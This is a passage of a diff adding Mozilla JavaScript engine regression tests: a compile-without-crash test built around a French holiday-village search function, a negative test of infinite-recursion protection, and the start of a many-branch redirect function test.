+ * SUMMARY: Regression test for bug 90445
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=90445
+ *
+ * Just seeing if this script will compile without crashing.
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 90445;
+var summary = 'Testing this script will compile without crashing';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+// The big function -
+function compte() {
+ var mois = getValueFromOption(document.formtest.mois);
+ var region = document.formtest.region.options.selectedIndex;
+ var confort = document.formtest.confort.options.selectedIndex;
+ var encadrement = document.formtest.encadrement.options.selectedIndex;
+ var typeVillage = document.formtest.type_village.options.selectedIndex;
+ var budget = document.formtest.budget.value;
+ var sport1 = document.formtest.sport1.options.selectedIndex;
+ var sport2 = document.formtest.sport2.options.selectedIndex;
+ var sport3 = document.formtest.sport3.options.selectedIndex;
+ var activite1 = document.formtest.activite1.options.selectedIndex;
+ var activite2 = document.formtest.activite2.options.selectedIndex;
+ var activite3 = document.formtest.activite3.options.selectedIndex;
+
+ var ret = 0;
+ var liste;
+ var taille;
+ var bl;
+ var i;
+ var j;
+ V=[
+ [1,14,19,1,3,3,3,0,[10,13,17,18,22,23,26,27,29,9],[13,17,18,20,4,5,6,7,8]],
+ [1,14,18,1,1,3,3,0,[1,11,13,22,23,26,27,28,29,3,4,9],[13,17,18,20,6]],
+ [1,14,19,1,3,4,3,0,[13,17,18,22,23,25,26,27,4,9],[11,17,12,2,20,3,21,9,6]],
+ [1,14,19,1,1,3,3,0,[1,10,13,22,23,24,25,26,27,28,4,8,9],[13,17,6,9]],
+ [1,14,18,1,3,4,3,0,[12,13,22,23,27,28,7,9],[13,17,2,20,6,7,9]],
+ [1,14,19,5,4,2,3,0,[12,13,17,18,2,21,22,23,24,26,27,28,3,5,8,9],[1,10,13,17,18,19,20,5,21,7,8,9]],
+ [1,14,20,6,2,2,3,0,[11,13,2,22,23,26,27,3,4,5,8,9],[13,17,18,20,6,9]],
+ [1,14,19,6,3,4,3,0,[10,13,2,22,23,26,27,3,4,5,8,9],[13,17,18,19,20,21,9,6,5]],
+ [1,14,19,4,2,4,3,0,[13,17,2,22,26,28,3,5,6,7,8,9],[10,13,15,17,19,2,20,3,5,6,9]],
+ [1,14,19,8,4,4,3,0,[13,2,22,26,3,28,4,5,6,8,9],[14,15,17,18,19,2,20,21,9,7]],
+ [1,15,18,6,1,4,3,0,[10,11,13,14,15,2,23,26,27,5,8,9,6],[13,17,2,20,6,9]],
+ [1,14,19,2,3,5,3,0,[10,13,17,2,22,26,27,28,3,5,6,7,8,9],[1,10,13,15,17,18,19,20,6,7,9,22]],
+ [1,15,18,6,1,3,3,0,[12,13,15,2,22,23,26,4,5,9],[13,15,6,17,2,21,9]],
+ [1,19,21,1,4,4,3,0,[11,13,18,22,23,27,28,4],[17,2,20,21,9]],
+ [1,14,19,4,3,3,3,0,[10,13,17,2,22,23,24,26,27,3,4,6,8,9],[10,13,17,19,20,3,5,6,7,9]],
+ [1,13,19,6,3,3,3,0,[11,13,15,2,22,23,26,27,28,3,4,8,9],[1,13,17,18,20,6,9,22]],
+ [1,15,19,6,1,5,3,0,[10,13,2,22,23,26,27,4,5,8,11],[10,13,17,20,5,6,9]],
+ [1,15,18,6,3,2,1,0,[10,17,21,22,23,25,26,9],[13,16,17,20,21,8,9]],
+ [1,14,19,8,2,2,3,0,[13,16,21,22,23,24,26,27,3,4,5,6,8,9],[15,17,20,3,6,9]],
+ [1,14,19,5,3,2,3,0,[10,11,13,16,17,2,21,22,23,24,26,27,3,4,8,9],[1,10,13,17,18,19,20,5,6,7,9]],
+ [1,14,19,4,4,4,3,0,[10,13,2,22,23,26,27,3,4,5,6,7,8,9],[13,14,17,19,20,21,7,9]],
+ [1,14,19,1,3,2,3,0,[10,13,22,23,26,27,28,3,4,5,6,8,9],[15,17,18,2,20,6,8,9]],
+ [1,14,19,6,1,5,3,0,[10,11,13,22,25,26,4,5,7,8,9],[10,13,17,2,20,5,6,9]],
+ [1,14,19,6,4,4,3,0,[10,13,17,18,22,23,26,27,4,9,5],[1,13,14,17,18,20,3,21,7,8,9]],
+ [1,12,20,6,3,4,2,0,[10,13,14,17,18,22,23,25,26,27,29,9],[13,14,16,17,20,3,8,7,9]],
+ [1,14,19,1,3,3,3,0,[10,11,13,17,2,22,23,26,27,29,3,4,8,9],[1,10,13,14,15,17,18,20,5,21,7,8,9,25]],
+ [1,14,20,1,2,5,3,0,[12,13,17,22,23,26,28,3,4,8,9,27],[10,13,17,18,20,5,6,9,22]],
+ [1,14,19,1,2,3,3,0,[13,17,22,23,26,27,28,29,3,4,8,19],[13,17,18,20,6,7,8,9]],
+ [1,14,18,6,1,3,3,0,[12,13,15,2,22,23,26,27,28,4,9],[13,17,6,9]],
+ [1,14,19,5,3,4,3,0,[13,2,26,27,28,3,4,5,6],[1,10,13,15,17,18,2,20,3,21,7]],
+ [1,14,18,6,3,3,3,0,[13,2,22,23,26,27,8,3,4,5,9],[1,13,17,18,19,2,20,6,8,9,22]],
+ [1,14,19,6,4,3,2,0,[10,13,17,18,22,23,25,26,27,29],[13,14,16,17,3,7,8]],
+ [1,14,18,6,3,3,3,0,[13,22,23,26,27,28,3,4,5,7,8,9],[13,17,18,2,20,3,5,6,9]],
+ [1,14,20,1,3,2,3,0,[10,13,15,17,19,2,22,23,24,26,27,3,4,8,9],[13,17,18,20,6,7,8,9]],
+ [1,14,20,6,3,1,3,0,[10,13,16,2,22,23,26,27,3,4,6,8,9],[13,17,20,5,6,9]],
+ [1,14,19,3,3,3,3,0,[10,12,13,18,21,22,23,24,26,27,29,3,4,8,9],[1,10,17,20,6,8,9]],
+ [1,14,19,2,3,1,3,0,[12,13,17,2,22,23,24,26,27,28,4,8,9,19],[1,13,17,18,19,20,6,9]],
+ [1,14,19,5,4,2,3,0,[10,11,13,17,2,21,3,22,23,24,25,26,27,5,6,8,9],[13,17,20,3,21,9]],
+ [1,14,19,6,2,3,3,0,[13,22,23,26,27,28,3,4,5,7,8,9],[13,17,18,20,5,6,9]],
+ [1,14,20,6,3,2,3,0,[10,12,13,19,2,22,23,24,25,1,26,27,28,3,4,8,9],[10,13,17,18,20,3,5,6,7,8,9]],
+ [1,14,19,5,3,4,3,0,[12,13,2,26,27,28,3,4,5,6,8,9],[10,13,17,18,2,20,3,21,7]],
+ [1,14,19,6,3,4,3,0,[13,16,22,23,26,27,28,3,5,7,8,9],[10,13,17,18,19,2,20,5,6,7,8,9]],
+ [1,14,19,6,3,2,3,0,[10,13,22,23,24,25,26,27,3,4,7,8,9],[1,13,17,20,5,21,9,23]],
+ [1,14,18,6,2,2,3,0,[11,13,2,22,23,26,27,3,4,8,9],[1,13,14,15,17,18,19,2,20,6,7,8,5]],
+ [1,14,19,6,2,3,3,0,[13,17,2,22,23,26,27,4,5,7,9],[13,14,16,17,9,22]],
+ [1,14,19,8,3,2,3,0,[13,18,22,23,24,27,28,3,4,5,8,9],[15,16,17,18,19,2,20,6,9]],
+ [1,14,19,1,3,4,2,0,[13,17,18,22,23,26,27,29,9,11,8],[13,17,20,3,21,7,8,9,6]],
+ [1,15,18,6,4,4,1,0,[13,17,22,25,27,29],[14,16,3,7,8]],
+ [1,14,18,6,3,1,3,0,[12,13,16,17,18,19,2,22,23,26,27,3,4,9],[13,17,20,3,6,9]],
+ [1,14,19,6,2,3,2,0,[13,2,22,23,26,27,9],[13,16,17,9]],
+ [1,14,19,8,3,4,3,0,[13,22,26,5,6,7,8,9],[13,15,17,18,19,2,20,6,9]],
+ [1,14,20,1,2,2,3,0,[11,13,22,23,26,27,28,29,3,4,9],[13,17,18,20,6,9]],
+ [1,14,19,6,3,2,2,0,[10,13,17,18,22,23,24,25,26,27,9],[1,13,14,16,17,20,3,6,7,8,9]],
+ [1,14,18,6,3,5,3,0,[11,13,18,22,23,26,27,4,5,2],[1,10,13,17,2,20,5,6,9,22]],
+ [1,14,19,1,3,4,2,0,[17,22,23,26,27,13],[13,16,17,18,2,20,11,6,7,8,9]],
+ [1,15,18,6,1,2,3,0,[13,15,2,22,23,26,3,4,5,6,9],[1,13,17,20,6,9,5]],
+ [1,14,20,6,3,2,3,0,[10,11,24,13,2,22,23,26,27,3,4,5,7,8,9],[1,10,13,17,18,19,2,20,5,6,7,8,9,23]],
+ [1,14,19,4,4,4,3,0,[10,13,17,18,2,22,26,27,28,3,4,5,6,8,9,23],[14,15,17,19,2,20,3,21,7,9,10]],
+ [1,14,19,5,4,3,3,0,[10,13,17,21,22,23,26,27,5,8,9],[10,13,17,18,19,2,20,21,7,9]],
+ [1,14,19,7,4,4,3,0,[13,17,2,22,23,26,27,18,28,3,4,5,7,9],[10,13,17,18,19,2,20,3,21,9]],
+ [1,12,20,6,2,2,2,0,[10,11,13,17,18,22,23,25,26,27,29,8,9],[1,13,16,17,3,6,8,9,24]],
+ [1,14,18,6,3,3,1,0,[13,16,17,22,25,26,27,9],[13,16,17,20,21,8]],
+ [1,14,19,6,2,5,3,0,[13,17,2,22,23,26,27,4,5,9],[10,13,17,2,20,5,6,9]],
+ [1,14,19,6,2,3,3,0,[1,13,17,22,23,26,27,28,4,6,9],[13,17,18,20,6,9]],
+ [1,14,19,4,3,2,3,0,[12,13,17,19,2,22,23,24,26,27,28,3,4,5,8,9],[13,15,17,19,20,21,9,5]],
+ [1,14,19,5,4,2,3,0,[10,17,2,21,22,23,24,26,27,28,3,4,6,8,9],[1,10,13,14,17,19,20,3,21,7,8,9]],
+ [1,14,19,3,4,3,3,0,[10,12,13,2,21,22,23,26,27,4,7,8,9],[1,13,17,20,6,8,9]],
+ [1,14,19,5,3,2,1,0,[13,17,19,21,22,23,24,25,26,27,8,9],[1,14,17,3,6,8,13]],
+ [1,14,19,2,3,1,3,0,[10,11,13,17,18,19,22,24,26,27,4,7,8,9],[13,17,19,20,3,6,9]],
+ [1,14,19,6,2,3,3,0,[13,2,22,23,26,27,4,5,9],[1,13,17,18,20,6,9,24]],
+ [1,14,18,6,2,2,3,0,[11,13,22,23,24,25,26,27,3,4,5,6,8,9],[1,13,17,20,3,5,6,9]],
+ [1,14,18,1,2,2,3,0,[1,11,13,15,17,2,22,23,26,27,4,9],[1,13,17,18,20,6,9]],
+ [1,14,19,2,3,4,3,0,[10,13,22,26,27,28,29,3,4,5,6,7,8,9,36],[1,13,15,17,18,19,20,5,6,7,8,9]],
+ [1,14,19,6,2,1,2,0,[13,17,21,22,26,27,3,8,9],[13,17,20,6]],
+ [1,15,18,6,4,3,1,0,[10,13,16,17,20,22,25,27],[16,17,3,6,7,8,9]],
+ [1,14,19,4,3,5,3,0,[10,11,13,17,22,24,26,27,28,3,4,5,6,7,8,9],[10,13,15,17,2,20,3,6,7,9]],
+ [1,14,20,6,3,1,2,0,[10,11,17,18,19,22,23,25,26,27,29,8,9],[1,10,13,14,16,17,3,4,6,7,8,9]],
+ [1,15,18,6,3,3,1,0,[13,16,22,26,27,9,23],[13,16,17,20,21,6]],
+ [1,15,18,1,3,4,3,0,[10,13,17,2,22,23,25,26,27,28,29,4,9,12],[13,17,18,20,6,9,5]],
+ [1,21,25,6,2,1,4,0,[30,31,34,35],[6,3]],
+ [1,21,25,6,3,4,4,0,[30,31,34,35],[6,3]],
+ [1,20,25,1,3,3,3,0,[9,10,13,17,18,22,23,26,27,29],[20,18,17,13,8,7,6,5,4]],
+ [1,21,25,6,2,5,4,0,[30,31,34,35],[6,3]],
+ [1,21,25,6,3,3,4,0,[30,31,96,79,34,35],[6,7]],
+ [1,21,25,1,3,4,3,0,[4,9,13,17,18,22,23,25,26,27],[21,20,17,12,11,9,3,2]],
+ [1,21,25,6,2,3,4,0,[30,34],[6,3]],
+ [1,22,25,1,3,4,3,0,[7,9,12,13,22,23,27,28],[20,17,13,9,7,6,2]],
+ [1,21,25,6,3,3,4,0,[30,31,34,35],[6]],
+ [1,20,25,5,4,2,3,0,[2,3,5,8,9,12,13,17,18,21,22,23,24,26,27,28],[21,20,19,18,17,13,10,9,8,7,5,1]],
+ [1,20,25,8,4,4,3,0,[2,3,4,5,6,9,13,22,26,28],[21,20,19,18,17,15,9]],
+ [1,24,25,6,2,2,3,0,[2,3,4,5,6,8,9,11,13,22,23,26,27,29],[20,18,17,13,9,8,7,6]],
+ [1,20,25,4,2,4,3,0,[2,3,5,6,7,8,9,12,13,17,22,26,28],[20,19,17,15,13,10,9,6,5,3,2]],
+ [1,20,25,2,3,5,3,0,[2,3,5,6,7,8,9,10,13,17,22,26,27,28],[20,19,18,17,13,10,9,7,6,1]],
+ [1,20,25,4,3,3,3,0,[2,3,4,6,8,9,13,17,22,23,24,26,27],[20,19,17,13,10,9,7,6,5,3]],
+ [1,20,25,1,3,2,3,0,[3,4,5,6,8,9,10,13,22,23,26,27,28],[20,18,17,15,9,8,6,2]],
+ [1,21,25,2,3,3,4,0,[30,31,34,35],[6,3,7]],
+ [1,21,25,6,3,2,4,0,[30,34],[6,3]],
+ [1,20,25,5,3,2,3,0,[8,9,10,11,13,16,17,21,22,23,24,26,27],[20,19,18,17,13,10,9,7,6,5,1]],
+ [1,20,25,2,2,5,4,0,[30,31,34],[6,3,7]],
+ [1,20,25,4,4,4,3,0,[2,3,4,5,6,8,9,10,13,22,23,26,27],[21,20,19,17,14,13,9,7]],
+ [1,24,25,6,3,3,3,0,[2,3,4,8,9,11,13,15,22,23,26,27,28],[20,18,17,13,9,6,1]],
+ [1,22,25,1,4,4,3,0,[4,11,13,18,22,23,27,28],[21,20,17,9]],
+ [1,21,25,6,2,1,4,0,[30,34,35],[6,3]],
+ [1,20,25,6,4,4,3,0,[9,10,13,17,18,22,23,26,27],[21,20,18,17,14,13,9,8,7,3,1]],
+ [1,24,25,6,3,4,2,0,[9,10,13,17,18,22,23,25,26,27,29],[20,17,16,14,13,9,8,7,3]],
+ [1,20,25,1,3,3,3,0,[2,3,4,8,9,10,11,13,17,22,23,26,27,29],[21,20,18,17,15,14,13,10,9,8,7,5,1]],
+ [1,20,25,1,2,3,3,0,[3,4,8,11,13,17,22,23,26,27,28,29],[20,18,17,13,9,8,7,6]],
+ [1,20,25,5,3,4,3,0,[2,3,4,5,6,13,26,27,28],[21,20,18,17,15,13,10,3,2,1]],
+ [1,20,25,6,4,3,2,0,[10,13,17,18,22,23,25,26,27,29],[17,16,14,13,8,7,3]],
+ [1,21,25,6,2,1,4,0,[30,34,35],[6,3]],
+ [1,21,25,1,3,2,3,0,[2,3,4,8,9,10,13,15,17,19,22,23,24,26,27],[20,18,17,13,8,9,7,6]],
+ [1,20,25,2,3,3,3,0,[11,13,2,21,22,23,24,26,27,28,29,3,4,5,8,9],[1,13,17,18,19,2,20,3,6,7,9]],
+ [1,24,25,6,3,1,3,0,[2,3,4,6,8,9,10,13,16,22,23,26,27],[20,17,13,9,6,5]],
+ [1,20,25,3,3,3,3,0,[3,4,8,9,10,12,13,18,21,22,23,24,26,27,29],[20,17,10,9,8,6,1]],
+ [1,20,25,2,3,1,3,0,[2,4,8,9,12,13,17,22,23,24,26,27,28],[20,19,18,17,13,9,6,1]],
+ [1,20,25,5,4,2,3,0,[2,3,5,6,8,9,10,11,13,17,21,22,23,24,25,26,27],[21,20,17,13,9,3]],
+ [1,24,25,6,3,2,3,0,[2,3,4,8,9,10,13,19,22,23,24,25,26,27,28],[20,18,17,13,10,9,8,7,6,5,3]],
+ [1,21,25,6,2,1,4,0,[30,31,33,34],[6]],
+ [1,20,25,8,3,2,3,0,[3,4,5,8,9,13,17,18,22,23,24,27,28],[20,19,18,17,15,9,6]],
+ [1,21,25,6,4,4,4,0,[30,31,27,10,34],[6,3,7]],
+ [1,21,25,6,4,4,4,0,[30,31,34],[6,3,7]],
+ [1,20,25,1,3,4,2,0,[9,13,17,18,22,23,26,27,29],[20,17,13,9,8,7,6,3]],
+ [1,20,25,7,4,4,3,0,[2,3,4,5,7,9,13,17,18,22,23,26,27,28],[21,20,19,18,17,13,10,9,3,2]],
+ [1,21,25,6,4,4,4,0,[30,31,34],[6,7]],
+ [1,21,25,6,3,3,4,0,[30,31,35],[6,3]],
+ [1,20,25,8,3,4,3,0,[5,6,7,8,9,13,22,26,28],[20,19,18,17,15,13,9,6,2]],
+ [1,21,25,1,2,2,3,0,[3,4,9,11,13,22,23,26,27,28,29],[20,18,17,13,9,6]],
+ [1,20,25,6,3,2,2,0,[9,10,13,17,18,22,23,25,26,27],[20,17,16,14,13,9,8,7,6,3,1]],
+ [1,24,25,6,3,2,3,0,[2,3,4,5,7,8,9,10,11,13,22,23,24,26,27],[20,19,18,17,13,10,9,8,7,6,5,2,1]],
+ [1,20,25,2,3,5,3,0,[29,24,13,4,5,22,23,16,2,28,9,10],[7,13,5,1,15,3,9,6,17]],
+ [1,20,25,4,3,2,3,0,[2,3,4,5,6,8,9,12,13,17,19,22,23,24,26,27,28],[20,19,17,13,9]],
+ [1,20,25,5,4,3,3,0,[3,4,5,8,9,10,13,17,21,22,23,26,27],[21,20,19,18,17,13,10,9,7,2]],
+ [1,20,25,4,4,4,3,0,[2,3,4,5,6,8,9,10,13,17,18,22,23,26,27,28],[21,20,19,17,15,14,9,7,3,2]],
+ [1,21,25,6,3,3,4,0,[30,31,10,34],[6,3,7]],
+ [1,20,25,6,2,3,3,0,[1,4,6,9,13,17,22,23,26,27,28],[20,18,17,13,9,6]],
+ [1,21,25,6,2,2,2,0,[8,9,10,11,13,17,18,22,23,25,26,27,29],[17,16,13,9,8,6,3,1]],
+ [1,21,25,6,3,4,4,0,[30,32,33,27,34],[6,7]],
+ [1,20,25,3,4,3,3,0,[2,4,7,8,9,10,12,13,21,22,23,26,27],[20,17,13,9,8,6,1]],
+ [1,20,25,6,2,3,3,0,[],[20,18,17,13,9,6,1]],
+ [1,20,25,2,3,1,3,0,[4,7,8,9,10,11,13,17,18,19,22,24,26,27],[20,19,17,13,9,6,3]],
+ [1,20,25,5,3,2,4,0,[30,31,96],[6,3,7]],
+ [1,20,25,2,3,4,3,0,[3,4,5,6,7,8,9,10,13,22,26,27,28,29],[20,19,18,17,13,9,8,7,6,5,1]],
+ [1,21,25,6,3,3,4,0,[30,31,27,10,34],[6,7]],
+ [1,21,25,4,3,2,3,0,[3,4,5,6,8,9,10,11,13,18,19,22,23,26,27],[20,17,13,9]],
+ [1,21,25,6,4,3,4,0,[30,31,27,10,35],[6,7]],
+ [1,21,25,6,2,2,4,0,[30,34],[6,3]],
+ [1,24,25,6,2,1,2,0,[3,8,9,13,17,21,22,26,27],[20,17,13,6]],
+ [1,20,25,4,3,5,3,0,[3,4,5,6,7,8,9,10,11,13,17,22,24,26,27,28],[20,17,15,13,10,9,7,6,3,2]],
+ [1,20,26,6,4,3,4,0,[30,31,27,10,34,35],[6,3,7]],
+ [1,21,25,6,2,3,4,0,[30,33,34],[6]],
+ [1,21,25,6,3,1,2,0,[8,9,10,11,17,18,19,22,23,25,26,27,29],[17,16,14,13,10,9,8,7,6,4,3,1]],
+ [1,21,25,6,4,4,4,0,[30,31,10,34,35],[6,7]],
+ [1,21,25,6,3,2,4,0,[30,31,33,34],[6,3]],
+ [1,21,26,6,3,5,4,0,[30,31],[6,3]],
+ [1,21,25,6,2,1,4,0,[30,34,35],[6,3]],
+ [1,21,25,6,3,3,4,0,[30,34],[6]],
+ [1,20,25,8,2,2,3,0,[3,4,5,6,8,9,13,16,21,22,23,24,26,27],[20,17,15,9,6,3]],
+ [1,20,25,5,3,4,3,0,[2,3,4,5,6,8,9,12,13,26,27,28],[21,20,18,17,13,10,3,2]],
+ [1,20,25,5,4,2,3,0,[3,4,6,8,9,10,17,21,22,23,24,26,27,28],[21,20,19,17,14,13,10,9,8,7,3,1]],
+ [1,13,19,6,2,3,3,0,[2,3,13,22,19,8,9,12,27],[9,6,17,20]],
+ [1,15,18,2,3,3,1,0,[25,24,13,16,19,8,9,10,17,22,29,23],[16,8,3,21,17,19]],
+ [1,14,19,2,3,3,3,0,[13,2,21,22,23,24,26,27,28,29,3,4,5,8,9,17],[1,13,17,18,19,2,20,3,6,7,9]],
+ [1,15,18,6,4,4,1,0,[29,16,17,22,27,10],[16,8,3,14,7]],
+ [1,14,20,6,3,4,3,0,[3,4,2,5,13,22,23,27,8,9],[20,7,8,2,9,21,17]],
+ [1,14,19,2,3,5,3,0,[29,24,13,4,5,22,23,16,2,28,9,10],[7,13,5,1,15,3,9,6,17]],
+ [1,15,18,6,3,2,1,0,[25,13,22,23,17,29,16,9],[16,21,17,20]],
+ [1,24,25,6,2,3,3,0,[],[]],
+ [1,21,25,1,2,5,3,0,[],[]],
+ [1,21,25,6,3,4,3,0,[],[]]
+ ];
+
+ var nbVillages = V.length;
+
+ for (i=0; i<nbVillages; i++) {
+ if ((((mois == 0) && (1==V[i][0])) || ((mois >= V[i][1]) && (mois <= V[i][2]))) &&
+ ((region == 0) || (region == V[i][3] )) &&
+ ((confort == 0) || (confort == V[i][4] )) &&
+ ((encadrement == 0) ||
+ ((encadrement==3)&&((V[i][5]==1)||(V[i][5]==2)||(V[i][5] == 3))) ||
+ ((encadrement==2)&&((V[i][5]==1)||(V[i][5]==2) )) ||
+ ((encadrement==1)&&(encadrement==V[i][5]) ) ||
+ ((encadrement>3)&&(encadrement==V[i][5]) )) &&
+ ((typeVillage == 0) || (typeVillage == V[i][6] )) &&
+ ((budget == 0) || (budget == V[i][7] ))) {
+
+ bl = 1;
+ if ((sport1 != 0) || (sport2 != 0) || (sport3 != 0)) {
+ bl = 0;
+ liste = V[i][8];
+ taille = liste.length;
+ for (j=0; j<taille; j++) {
+ if ((sport1 == 0) || ((sport1 != 0) && (sport1 == liste[j]))) {
+ bl = 1;
+ break;
+ }
+ }
+ if (bl == 1) {
+ bl = 0;
+ for (j=0; j<taille; j++) {
+ if ((sport2 == 0) || ((sport2 != 0) && (sport2 == liste[j]))) {
+ bl = 1;
+ break;
+ }
+ }
+ }
+ if (bl == 1) {
+ bl = 0;
+ for (j=0; j<taille; j++) {
+ if ((sport3 == 0) || ((sport3 != 0) && (sport3 == liste[j]))) {
+ bl = 1;
+ break;
+ }
+ }
+ }
+ }
+ if ((bl==1) && ((activite1 != 0) || (activite2 != 0) || (activite3 != 0))) {
+ bl = 0;
+ liste = V[i][9];
+ taille = liste.length;
+ for (j=0; j<taille; j++) {
+ if ((activite1 == 0) || ((activite1 != 0) && (activite1 == liste[j]))) {
+ bl = 1;
+ break;
+ }
+ }
+ if (bl == 1) {
+ bl = 0;
+ for (j=0; j<taille; j++) {
+ if ((activite2 == 0) || ((activite2 != 0) && (activite2 == liste[j]))) {
+ bl = 1;
+ break;
+ }
+ }
+ }
+ if (bl == 1) {
+ bl = 0;
+ for (j=0; j<taille; j++) {
+ if ((activite3 == 0) || ((activite3 != 0) && (activite3 == liste[j]))) {
+ bl = 1;
+ break;
+ }
+ }
+ }
+ }
+ if (1 == bl) {
+ ret++;
+ }
+ }
+ }
+}
+
+reportCompare('No Crash', 'No Crash', '');
diff --git a/js/src/tests/js1_5/Regress/regress-96128-n.js b/js/src/tests/js1_5/Regress/regress-96128-n.js
new file mode 100644
index 000000000..1d503e881
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-96128-n.js
@@ -0,0 +1,51 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 29 Aug 2001
+ *
+ * SUMMARY: Negative test that JS infinite recursion protection works.
+ * We expect the code here to fail (i.e. exit code 3), but NOT crash.
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=96128
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 96128;
+var summary = 'Testing that JS infinite recursion protection works';
+
+
+function objRecurse()
+{
+ /*
+ * jband:
+ *
+ * Causes a stack overflow crash in debug builds of both the browser
+ * and the shell. In the release builds this is safely caught by the
+ * "too much recursion" mechanism. If I remove the 'new' from the code below
+ * this is safely caught in both debug and release builds. The 'new' causes a
+ * lookup for the Constructor name and seems to (at least) double the number
+ * of items on the C stack for the given interpLevel depth.
+ */
+ return new objRecurse();
+}
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ // we expect this to fail (exit code 3), but NOT crash. -
+ var obj = new objRecurse();
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-96526-001.js b/js/src/tests/js1_5/Regress/regress-96526-001.js
new file mode 100644
index 000000000..d565faffd
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-96526-001.js
@@ -0,0 +1,503 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 04 Sep 2002
+ * SUMMARY: Just seeing that we don't crash when compiling this script -
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=96526
+ *
+ */
+//-----------------------------------------------------------------------------
+printBugNumber(96526);
+printStatus("Just seeing that we don't crash when compiling this script -");
+
+
+/*
+ * Function definition with lots of branches, from http://www.newyankee.com
+ */
+function setaction(jumpto)
+{
+ if (jumpto == 0) window.location = "http://www.newyankee.com/GetYankees2.cgi?1.jpg";
+ else if (jumpto == [0]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ImageName";
+ else if (jumpto == [1]) window.location = "http://www.newyankee.com/GetYankees2.cgi?1.jpg";
+ else if (jumpto == [2]) window.location = "http://www.newyankee.com/GetYankees2.cgi?arsrferguson.jpg";
+ else if (jumpto == [3]) window.location = "http://www.newyankee.com/GetYankees2.cgi?akjamesmartin.jpg";
+ else if (jumpto == [4]) window.location = "http://www.newyankee.com/GetYankees2.cgi?aldaverackett.jpg";
+ else if (jumpto == [5]) window.location = "http://www.newyankee.com/GetYankees2.cgi?alericbrasher.jpg";
+ else if (jumpto == [6]) window.location = "http://www.newyankee.com/GetYankees2.cgi?algeorgewatkins.jpg";
+ else if (jumpto == [7]) window.location = "http://www.newyankee.com/GetYankees2.cgi?altoddcruise.jpg";
+ else if (jumpto == [8]) window.location = "http://www.newyankee.com/GetYankees2.cgi?arkevinc.jpg";
+ else if (jumpto == [9]) window.location = "http://www.newyankee.com/GetYankees2.cgi?arpaulmoore.jpg";
+ else if (jumpto == [10]) window.location = "http://www.newyankee.com/GetYankees2.cgi?auphillaird.jpg";
+ else if (jumpto == [11]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azbillhensley.jpg";
+ else if (jumpto == [12]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azcharleshollandjr.jpg";
+ else if (jumpto == [13]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azdaveholland.jpg";
+ else if (jumpto == [14]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azdavidholland.jpg";
+ else if (jumpto == [15]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azdonaldvogt.jpg";
+ else if (jumpto == [16]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azernestortega.jpg";
+ else if (jumpto == [17]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azjeromekeller.jpg";
+ else if (jumpto == [18]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azjimpegfulton.jpg";
+ else if (jumpto == [19]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azjohnbelcher.jpg";
+ else if (jumpto == [20]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azmikejordan.jpg";
+ else if (jumpto == [21]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azrickemry.jpg";
+ else if (jumpto == [22]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azstephensavage.jpg";
+ else if (jumpto == [23]) window.location = "http://www.newyankee.com/GetYankees2.cgi?azsteveferguson.jpg";
+ else if (jumpto == [24]) window.location = "http://www.newyankee.com/GetYankees2.cgi?aztjhorrall.jpg";
+ else if (jumpto == [25]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cabillmeiners.jpg";
+ else if (jumpto == [26]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cabobhadley.jpg";
+ else if (jumpto == [27]) window.location = "http://www.newyankee.com/GetYankees2.cgi?caboblennox.jpg";
+ else if (jumpto == [28]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cabryanshurtz.jpg";
+ else if (jumpto == [29]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cabyroncleveland.jpg";
+ else if (jumpto == [30]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cacesarjimenez.jpg";
+ else if (jumpto == [31]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cadalekirstine.jpg";
+ else if (jumpto == [32]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cadavidlgoeffrion.jpg";
+ else if (jumpto == [33]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cadennisnocerini.jpg";
+ else if (jumpto == [34]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cadianemason.jpg";
+ else if (jumpto == [35]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cadominicpieranunzio.jpg";
+ else if (jumpto == [36]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cadonaldmotter.jpg";
+ else if (jumpto == [37]) window.location = "http://www.newyankee.com/GetYankees2.cgi?cadoncroner.jpg";
+ else if (jumpto == [38]) window.location = "http://www.newyankee.com/GetYankees2.cgi?caelizabethwright.jpg";
+ else if (jumpto == [39]) window.location = "http://www.newyankee.com/GetYankees2.cgi?caericlew.jpg";
